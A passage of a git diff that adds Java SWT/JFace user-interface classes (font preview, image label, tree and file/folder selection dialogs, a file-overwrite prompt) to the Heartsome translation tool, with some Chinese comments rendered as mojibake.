ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + String strFontName = fontNameComboViewer.getCombo().getText(); + String intFontSize = fontSizeComboViewer.getCombo().getText(); + if(strFontName == null || intFontSize == null || strFontName.length() == 0 || intFontSize.length() == 0){ + return; + } + FontData fd = JFaceResources.getDefaultFont().getFontData()[0]; + fd.setName(strFontName); + fd.setHeight(Integer.parseInt(intFontSize)); + if (previewFont != null && !previewFont.isDisposed()) { + previewFont.dispose(); + } + previewFont = new Font(Display.getDefault(), fd); + previewFontText.setFont(previewFont); + } + }); + } + + private String[] getSystemFonts() { + Set s = new HashSet(); + // Add names of all bitmap fonts. + FontData[] fds = Display.getDefault().getFontList(null, false); + for (int i = 0; i < fds.length; ++i) { + s.add(fds[i].getName()); + } + // Add names of all scalable fonts. + fds = Display.getDefault().getFontList(null, true); + for (int i = 0; i < fds.length; ++i) { + s.add(fds[i].getName()); + } + // Sort the result and print it. + String[] fontNames = new String[s.size()]; + s.toArray(fontNames); + Arrays.sort(fontNames); // sort + return fontNames; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HsImageLabel.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HsImageLabel.java new file mode 100644 index 0000000..c85d73c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HsImageLabel.java @@ -0,0 +1,163 @@ +/** + * ImageText.java + * + * Version information : + * + * Date:2012-6-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HsImageLabel { + + private Control control; + private Composite body; + private Label imageLabel; + private Label descriptionLabel; + + private ImageDescriptor imageDescription; + private String description; + private Image image; + + private Point size; + + public HsImageLabel(String description, ImageDescriptor imageDescription) { + this.description = description; + this.imageDescription = imageDescription; + if (imageDescription != null) { + image = imageDescription.createImage(); + } + } + + public Composite createControl(Composite parent) { + parent.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + dispose(); + } + }); + Composite content = new Composite(parent, SWT.NONE); + GridLayout contentLayout = new GridLayout(2, false); + contentLayout.marginWidth = 0; + contentLayout.marginHeight = 0; + content.setLayout(contentLayout); + content.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + this.control = content; + + imageLabel = createImageLabel(content); + if (imageLabel != null) { + imageLabel.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, false, false, 1, 1)); + } + + Composite composite = new Composite(content, SWT.NONE); + GridLayout comLayout = new GridLayout(); + comLayout.marginWidth = 0; + comLayout.marginHeight = 0; + composite.setLayout(comLayout); + composite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + descriptionLabel = createDescriptionLabel(composite); + if (descriptionLabel != null) { + descriptionLabel.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + } + + body = new Composite(composite, SWT.NONE); + GridLayout gd = new GridLayout(); + gd.marginRight = 0; + gd.marginHeight = 0; + body.setLayout(gd); + if (body != null) { + body.setLayoutData(new GridData(GridData.FILL_BOTH)); + } + return body; + } + + public Point computeSize() { + return computeSize(130); + } + + public Point computeSize(int width) { + if (size != null) { + return size; + } + Control control = getControl(); + if (control != null) { + size = doComputeSize(width); + return size; + } + return new Point(0, 0); + } + + protected Point doComputeSize(int width) { + Point bodySize = getControl().computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + if (descriptionLabel != null) { + GridData gd = (GridData) descriptionLabel.getLayoutData(); + gd.widthHint = bodySize.x + width; + descriptionLabel.setText(description); + } + return bodySize; + } + + protected Label createDescriptionLabel(Composite parent) { + Label result = null; + String description = getDescription(); + if (description != null) { + result = new Label(parent, SWT.WRAP); + result.setFont(parent.getFont()); +// result.setText(description); + } + return result; + } + + protected Label createImageLabel(Composite parent) { + Label result = null; + if (image != null) { + result = new Label(parent, SWT.NONE); + result.setFont(parent.getFont()); + result.setImage(image); + } + return result; + } + + public void dispose() { + // deallocate SWT resources + if (image != null && !image.isDisposed()) { + image.dispose(); + image = null; + } + } + + public Control getControl() { + return control; + } + + public ImageDescriptor getImageDescription() { + return imageDescription; + } + + public String getDescription() { + return description; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/ElementTreeSelectionDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/ElementTreeSelectionDialog.java new file mode 100644 index 0000000..2922006 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/ElementTreeSelectionDialog.java @@ -0,0 +1,401 @@ +package net.heartsome.cat.common.ui.dialog; + +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.ViewerComparator; +import org.eclipse.jface.viewers.ViewerFilter; +import org.eclipse.jface.viewers.ViewerSorter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.dialogs.ISelectionStatusValidator; +import org.eclipse.ui.internal.WorkbenchMessages; + +/** + * A class to select elements out of a tree structure. + * + * @since 2.0 + */ +public class ElementTreeSelectionDialog extends SelectionStatusDialog { + + private TreeViewer fViewer; + + private ILabelProvider fLabelProvider; + + private ITreeContentProvider fContentProvider; + + private ISelectionStatusValidator fValidator = null; + + private ViewerComparator fComparator; + + private boolean fAllowMultiple = true; + + private boolean fDoubleClickSelects = true; + + private String fEmptyListMessage = WorkbenchMessages.ElementTreeSelectionDialog_nothing_available; + + private IStatus fCurrStatus = new Status(IStatus.OK, PlatformUI.PLUGIN_ID, + IStatus.OK, "", null); //$NON-NLS-1$ + + private List fFilters; + + private Object fInput; + + private boolean fIsEmpty; + + private int fWidth = 60; + + private int fHeight = 18; + + /** + * Constructs an instance of ElementTreeSelectionDialog. + * @param parent The parent shell for the dialog + * @param labelProvider the label provider to render the entries + * @param contentProvider the content provider to evaluate the tree structure + */ + public ElementTreeSelectionDialog(Shell parent, + ILabelProvider labelProvider, ITreeContentProvider contentProvider) { + super(parent); + + fLabelProvider = labelProvider; + fContentProvider = contentProvider; + + setResult(new ArrayList(0)); + setStatusLineAboveButtons(true); + } + + /** + * Sets the initial selection. + * Convenience method. + * @param selection the initial selection. + */ + public void setInitialSelection(Object selection) { + setInitialSelections(new Object[] { selection }); + } + + /** + * Sets the message to be displayed if the list is empty. + * @param message the message to be displayed. + */ + public void setEmptyListMessage(String message) { + fEmptyListMessage = message; + } + + /** + * Specifies if multiple selection is allowed. + * @param allowMultiple + */ + public void setAllowMultiple(boolean allowMultiple) { + fAllowMultiple = allowMultiple; + } + + /** + * Specifies if default selected events (double click) are created. + * @param doubleClickSelects + */ + public void setDoubleClickSelects(boolean doubleClickSelects) { + fDoubleClickSelects = doubleClickSelects; + } + + /** + * Sets the sorter used by the tree viewer. + * @param sorter + * @deprecated as of 3.3, use {@link ElementTreeSelectionDialog#setComparator(ViewerComparator)} instead + */ + public void setSorter(ViewerSorter sorter) { + fComparator = sorter; + } + + /** + * Sets the comparator used by the tree viewer. + * @param comparator + * @since 3.3 + */ + public void setComparator(ViewerComparator comparator){ + fComparator = comparator; + } + + /** + * Adds a filter to the tree viewer. + * @param filter a filter. + */ + public void addFilter(ViewerFilter filter) { + if (fFilters == null) { + fFilters = new ArrayList(4); + } + + fFilters.add(filter); + } + + /** + * Sets an optional validator to check if the selection is valid. + * The validator is invoked whenever the selection changes. + * @param validator the validator to validate the selection. + */ + public void setValidator(ISelectionStatusValidator validator) { + fValidator = validator; + } + + /** + * Sets the tree input. + * @param input the tree input. + */ + public void setInput(Object input) { + fInput = input; + } + + /** + * Sets the size of the tree in unit of characters. + * @param width the width of the tree. + * @param height the height of the tree. + */ + public void setSize(int width, int height) { + fWidth = width; + fHeight = height; + } + + /** + * Validate the receiver and update the ok status. + * + */ + protected void updateOKStatus() { + if (!fIsEmpty) { + if (fValidator != null) { + fCurrStatus = fValidator.validate(getResult()); + updateStatus(fCurrStatus); + } else { + fCurrStatus = new Status(IStatus.OK, PlatformUI.PLUGIN_ID, + IStatus.OK, "", //$NON-NLS-1$ + null); + } + } else { + fCurrStatus = new Status(IStatus.ERROR, PlatformUI.PLUGIN_ID, + IStatus.ERROR, fEmptyListMessage, null); + } + updateStatus(fCurrStatus); + } + + /* + * (non-Javadoc) + * @see org.eclipse.jface.window.Window#open() + */ + public int open() { + fIsEmpty = evaluateIfTreeEmpty(fInput); + super.open(); + return getReturnCode(); + } + + private void access$superCreate() { + super.create(); + } + + /** + * Handles cancel button pressed event. + */ + protected void cancelPressed() { + setResult(null); + super.cancelPressed(); + } + + /* + * @see SelectionStatusDialog#computeResult() + */ + protected void computeResult() { + setResult(((IStructuredSelection) fViewer.getSelection()).toList()); + } + + /* + * (non-Javadoc) + * @see org.eclipse.jface.window.Window#create() + */ + public void create() { + BusyIndicator.showWhile(null, new Runnable() { + public void run() { + access$superCreate(); + fViewer.setSelection(new StructuredSelection( + getInitialElementSelections()), true); + updateOKStatus(); + } + }); + } + + /* + * @see Dialog#createDialogArea(Composite) + */ + protected Control createDialogArea(Composite parent) { + Composite composite = (Composite) super.createDialogArea(parent); + + Label messageLabel = createMessageArea(composite); + TreeViewer treeViewer = createTreeViewer(composite); + + GridData data = new GridData(GridData.FILL_BOTH); + data.widthHint = convertWidthInCharsToPixels(fWidth); + data.heightHint = convertHeightInCharsToPixels(fHeight); + + Tree treeWidget = treeViewer.getTree(); + treeWidget.setLayoutData(data); + treeWidget.setFont(parent.getFont()); + + if (fIsEmpty) { + messageLabel.setEnabled(false); + treeWidget.setEnabled(false); + } + + return composite; + } + + /** + * Creates and initializes the tree viewer. + * + * @param parent the parent composite + * @return the tree viewer + * @see #doCreateTreeViewer(Composite, int) + */ + protected TreeViewer createTreeViewer(Composite parent) { + int style = SWT.BORDER | (fAllowMultiple ? SWT.MULTI : SWT.SINGLE); + + fViewer = doCreateTreeViewer(parent, style); + fViewer.setContentProvider(fContentProvider); + fViewer.setLabelProvider(fLabelProvider); + fViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + access$setResult(((IStructuredSelection) event.getSelection()) + .toList()); + updateOKStatus(); + } + }); + + fViewer.setComparator(fComparator); + if (fFilters != null) { + for (int i = 0; i != fFilters.size(); i++) { + fViewer.addFilter((ViewerFilter) fFilters.get(i)); + } + } + + if (fDoubleClickSelects) { + Tree tree = fViewer.getTree(); + tree.addSelectionListener(new SelectionAdapter() { + public void widgetDefaultSelected(SelectionEvent e) { + updateOKStatus(); + if (fCurrStatus.isOK()) { + access$superButtonPressed(IDialogConstants.OK_ID); + } + } + }); + } + fViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + updateOKStatus(); + + //If it is not OK or if double click does not + //select then expand + if (!(fDoubleClickSelects && fCurrStatus.isOK())) { + ISelection selection = event.getSelection(); + if (selection instanceof IStructuredSelection) { + Object item = ((IStructuredSelection) selection) + .getFirstElement(); + if (fViewer.getExpandedState(item)) { + fViewer.collapseToLevel(item, 1); + } else { + fViewer.expandToLevel(item, 1); + } + } + } + } + }); + + fViewer.setInput(fInput); + + return fViewer; + } + + /** + * Creates the tree viewer. + * + * @param parent the parent composite + * @param style the {@link SWT} style bits + * @return the tree viewer + * @since 3.4 + */ + protected TreeViewer doCreateTreeViewer(Composite parent, int style) { + return new TreeViewer(new Tree(parent, style)); + } + + /** + * Returns the tree viewer. + * + * @return the tree viewer + */ + protected TreeViewer getTreeViewer() { + return fViewer; + } + + private boolean evaluateIfTreeEmpty(Object input) { + Object[] elements = fContentProvider.getElements(input); + if (elements.length > 0) { + if (fFilters != null) { + for (int i = 0; i < fFilters.size(); i++) { + ViewerFilter curr = (ViewerFilter) fFilters.get(i); + elements = curr.filter(fViewer, input, elements); + } + } + } + return elements.length == 0; + } + + /** + * Set the result using the super class implementation of + * buttonPressed. + * @param id + * @see org.eclipse.jface.dialogs.Dialog#buttonPressed(int) + */ + protected void access$superButtonPressed(int id) { + super.buttonPressed(id); + } + + /** + * Set the result using the super class implementation of + * setResult. + * @param result + * @see SelectionStatusDialog#setResult(int, Object) + */ + protected void access$setResult(List result) { + super.setResult(result); + } + + /** + * @see org.eclipse.jface.window.Window#handleShellCloseEvent() + */ + protected void handleShellCloseEvent() { + super.handleShellCloseEvent(); + + //Handle the closing of the shell by selecting the close icon + if (getReturnCode() == CANCEL) { + setResult(null); + } + } + +} + diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/FileCoverMsgDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/FileCoverMsgDialog.java new file mode 100644 index 0000000..0778c0f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/FileCoverMsgDialog.java @@ -0,0 +1,179 @@ +package net.heartsome.cat.common.ui.dialog; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.Activator; +import net.heartsome.cat.common.ui.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Widget; + +/** + * 文件é‡å¤æ—¶ï¼Œéœ€è¦è¿›è¡Œæ示是å¦è¦†ç›–所用到的对è¯æ¡†ã€‚ + * @author robert 2013-12-12 + * @version + * @since JDK1.6 + */ +public class FileCoverMsgDialog extends Dialog implements Listener { + private Image warningImg = null; + private final String fileName; + + private Button alwaysBtn; + private Button skipBtn; + private Button cancelBtn; + private Button overBtn; + + public static boolean ALWAYS = false; + public final static int CANCEL = IDialogConstants.CANCEL_ID; + public final static int SKIP = 1025; // 在 clien id ä¹‹åŽ + public final static int OVER = 1026; + + private final String alwaysStoreKey = "common.ui.fileCover.alwaysStoreKey"; + + public FileCoverMsgDialog(Shell parentShell, String fileName) { + super(parentShell); + this.fileName = fileName; + warningImg = Activator.getImageDescriptor("icons/dialog_warning.ico").createImage(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.FileCoverMsgDialog.windowTitle")); + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.numColumns = 2; // this is incremented by createButton + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + composite.setLayout(layout); + GridData data = new GridData(GridData.HORIZONTAL_ALIGN_FILL + | GridData.VERTICAL_ALIGN_CENTER); + composite.setLayoutData(data); + composite.setFont(parent.getFont()); + + createAlwaysBtnArea(composite); + createBtnArea(composite); + + return composite; + } + + private void createAlwaysBtnArea(Composite parent){ + Composite btnCmp = new Composite(parent, SWT.NONE); + GridDataFactory.swtDefaults().grab(true, true).applyTo(btnCmp); + GridLayoutFactory.swtDefaults().margins(0, 0).numColumns(1).applyTo(btnCmp); + + alwaysBtn = new Button(btnCmp, SWT.CHECK); + alwaysBtn.setText(Messages.getString("dialog.FileCoverMsgDialog.alwaysBtn")); + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + alwaysBtn.setSelection(store.getBoolean(alwaysStoreKey)); + GridDataFactory.swtDefaults().align(SWT.LEFT, SWT.CENTER).applyTo(alwaysBtn); + } + + private void createBtnArea(Composite parent){ + Composite btnCmp = new Composite(parent, SWT.NONE); + GridDataFactory.swtDefaults().align(SWT.END, SWT.CENTER).applyTo(btnCmp); + GridLayoutFactory.swtDefaults().margins(0, 0).numColumns(3).applyTo(btnCmp); + + // 跳过 + skipBtn = new Button(btnCmp, SWT.PUSH); + skipBtn.setText(Messages.getString("dialog.FileCoverMsgDialog.skipBtn")); + setButtonLayoutData(skipBtn); + skipBtn.addListener(SWT.Selection, this); + + // åœæ­¢æˆ–退出 + cancelBtn = new Button(btnCmp, SWT.PUSH); + cancelBtn.setText(Messages.getString("dialog.FileCoverMsgDialog.cancelBtn")); + setButtonLayoutData(cancelBtn); + cancelBtn.addListener(SWT.Selection, this); + getShell().setDefaultButton(cancelBtn); + + // 覆盖 + overBtn = new Button(btnCmp, SWT.PUSH); + overBtn.setText(Messages.getString("dialog.FileCoverMsgDialog.overBtn")); + setButtonLayoutData(overBtn); + overBtn.addListener(SWT.Selection, this); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + Point defaultSpacing = LayoutConstants.getSpacing(); + GridLayoutFactory.fillDefaults().margins(LayoutConstants.getMargins()) + .spacing(defaultSpacing.x * 2, defaultSpacing.y).numColumns(2).applyTo(tparent); + + Label imgLbl = new Label(tparent, SWT.TOP); + imgLbl.setImage(warningImg); + GridDataFactory.fillDefaults().align(SWT.CENTER, SWT.BEGINNING).applyTo(imgLbl); + + String message = MessageFormat.format(Messages.getString("dialog.FileCoverMsgDialog.message"), fileName); + + if (message != null) { + Label messageLbl = new Label(tparent, SWT.WRAP); + messageLbl.setText(message); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.BEGINNING).grab(true, false).hint( + convertHorizontalDLUsToPixels(IDialogConstants.MINIMUM_MESSAGE_AREA_WIDTH), + SWT.DEFAULT).applyTo(messageLbl); + } + + return tparent; + } + + @Override + public boolean close() { + if (warningImg != null) { + warningImg.dispose(); + } + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setValue(alwaysStoreKey, alwaysBtn.getSelection()); + return super.close(); + } + + public void handleEvent(Event event) { + Widget resource = event.widget; + if (resource == cancelBtn) { + cancelPressed(); + }else if (resource == skipBtn) { + setReturnCode(SKIP); + ALWAYS = alwaysBtn.getSelection(); + close(); + }else if (resource == overBtn) { + setReturnCode(OVER); + ALWAYS = alwaysBtn.getSelection(); + close(); + } + } + + + /** + * 是å¦åº”用到所有 + * @return ; + */ + public boolean isAlways() { + return ALWAYS; + } + + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/FileFolderSelectionDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/FileFolderSelectionDialog.java new file mode 100644 index 0000000..5619f13 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/FileFolderSelectionDialog.java @@ -0,0 +1,238 @@ +package net.heartsome.cat.common.ui.dialog; + +import org.eclipse.core.filesystem.IFileStore; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerComparator; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.ISharedImages; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.dialogs.ISelectionStatusValidator; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.ide.dialogs.IDEResourceInfoUtils; +import org.eclipse.ui.internal.ide.dialogs.IFileStoreFilter; + +/** + * Selection dialog to select files and/or folders on the file system. Use + * setInput to set input to an IFileStore that points to a folder. + * 该类与 org.eclipse.ui.internal.ide.dialogs.FileFolderSelectionDialog 一样, + * é‡å†™è¯¥ç±»çš„目的是删除在选择文件åŽä¸‹æ–¹ç©ºç™½å¤„显示的 OK 文本 + * + * @since 2.1 + */ +public class FileFolderSelectionDialog extends ElementTreeSelectionDialog { + + /** + * Label provider for IFileStore objects. + */ + private static class FileLabelProvider extends LabelProvider { + private static final Image IMG_FOLDER = PlatformUI.getWorkbench() + .getSharedImages().getImage(ISharedImages.IMG_OBJ_FOLDER); + + private static final Image IMG_FILE = PlatformUI.getWorkbench() + .getSharedImages().getImage(ISharedImages.IMG_OBJ_FILE); + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.LabelProvider#getImage(java.lang.Object) + */ + public Image getImage(Object element) { + if (element instanceof IFileStore) { + IFileStore curr = (IFileStore) element; + if (curr.fetchInfo().isDirectory()) { + return IMG_FOLDER; + } + return IMG_FILE; + } + return null; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.LabelProvider#getText(java.lang.Object) + */ + public String getText(Object element) { + if (element instanceof IFileStore) { + return ((IFileStore) element).getName(); + } + return super.getText(element); + } + } + + /** + * Content provider for IFileStore objects. + */ + private static class FileContentProvider implements ITreeContentProvider { + private static final Object[] EMPTY = new Object[0]; + + private IFileStoreFilter fileFilter; + + /** + * Creates a new instance of the receiver. + * + * @param showFiles + * true files and folders are returned by the + * receiver. false only folders are returned. + */ + public FileContentProvider(final boolean showFiles) { + fileFilter = new IFileStoreFilter() { + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.internal.ide.dialogs.IFileStoreFilter#accept(org.eclipse.core.filesystem.IFileStore) + */ + public boolean accept(IFileStore file) { + if (!file.fetchInfo().isDirectory() && showFiles == false) { + return false; + } + return true; + } + }; + } + + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof IFileStore) { + IFileStore[] children = IDEResourceInfoUtils.listFileStores( + (IFileStore) parentElement, fileFilter, + new NullProgressMonitor()); + if (children != null) { + return children; + } + } + return EMPTY; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.ITreeContentProvider#getParent(java.lang.Object) + */ + public Object getParent(Object element) { + if (element instanceof IFileStore) { + return ((IFileStore) element).getParent(); + } + return null; + } + + public boolean hasChildren(Object element) { + return getChildren(element).length > 0; + } + + public Object[] getElements(Object element) { + return getChildren(element); + } + + public void dispose() { + } + + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + } + } + + /** + * Viewer sorter that places folders first, then files. + */ + private static class FileViewerSorter extends ViewerComparator { + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.ViewerSorter#category(java.lang.Object) + */ + public int category(Object element) { + if (element instanceof IFileStore + && !((IFileStore) element).fetchInfo().isDirectory()) { + return 1; + } + return 0; + } + } + + /** + * Validates the selection based on the multi select and folder setting. + */ + private static class FileSelectionValidator implements + ISelectionStatusValidator { + private boolean multiSelect; + + private boolean acceptFolders; + + /** + * Creates a new instance of the receiver. + * + * @param multiSelect + * true if multi selection is allowed. + * false if only single selection is allowed. + * @param acceptFolders + * true if folders can be selected in the + * dialog. false only files and be selected. + */ + public FileSelectionValidator(boolean multiSelect, boolean acceptFolders) { + this.multiSelect = multiSelect; + this.acceptFolders = acceptFolders; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.dialogs.ISelectionStatusValidator#validate(java.lang.Object[]) + */ + public IStatus validate(Object[] selection) { + int nSelected = selection.length; + String pluginId = IDEWorkbenchPlugin.IDE_WORKBENCH; + + if (nSelected == 0 || (nSelected > 1 && multiSelect == false)) { + return new Status(IStatus.ERROR, pluginId, IStatus.ERROR, + IDEResourceInfoUtils.EMPTY_STRING, null); + } + for (int i = 0; i < selection.length; i++) { + Object curr = selection[i]; + if (curr instanceof IFileStore) { + IFileStore file = (IFileStore) curr; + if (acceptFolders == false + && file.fetchInfo().isDirectory()) { + return new Status(IStatus.ERROR, pluginId, + IStatus.ERROR, + IDEResourceInfoUtils.EMPTY_STRING, null); + } + + } + } + return Status.OK_STATUS; + } + } + + /** + * Creates a new instance of the receiver. + * + * @param parent + * @param multiSelect + * true if multi selection is allowed. + * false if only single selection is allowed. + * @param type + * one or both of IResource.FILE and + * IResource.FOLDER, ORed together. If + * IResource.FILE is specified files and folders + * are displayed in the dialog. Otherwise only folders are + * displayed. If IResource.FOLDER is specified + * folders can be selected in addition to files. + */ + public FileFolderSelectionDialog(Shell parent, boolean multiSelect, int type) { + super(parent, new FileLabelProvider(), new FileContentProvider( + (type & IResource.FILE) != 0)); + setComparator(new FileViewerSorter()); + setValidator(new FileSelectionValidator(multiSelect, + (type & IResource.FOLDER) != 0)); + setShellStyle(getShellStyle() | SWT.SHEET); + } +} + diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsAbstractHelpDilog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsAbstractHelpDilog.java new file mode 100644 index 0000000..818c7b5 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/dialog/HsAbstractHelpDilog.java @@ -0,0 +1,96 @@ +/** + * HsAbstractHelpDilog.java + * + * Version information : + * + * Date:2013-11-29 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui.dialog; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public abstract class HsAbstractHelpDilog extends TrayDialog { + + /** + * @param parentShell + */ + protected HsAbstractHelpDilog(IShellProvider parentShell) { + super(parentShell); + } + + public 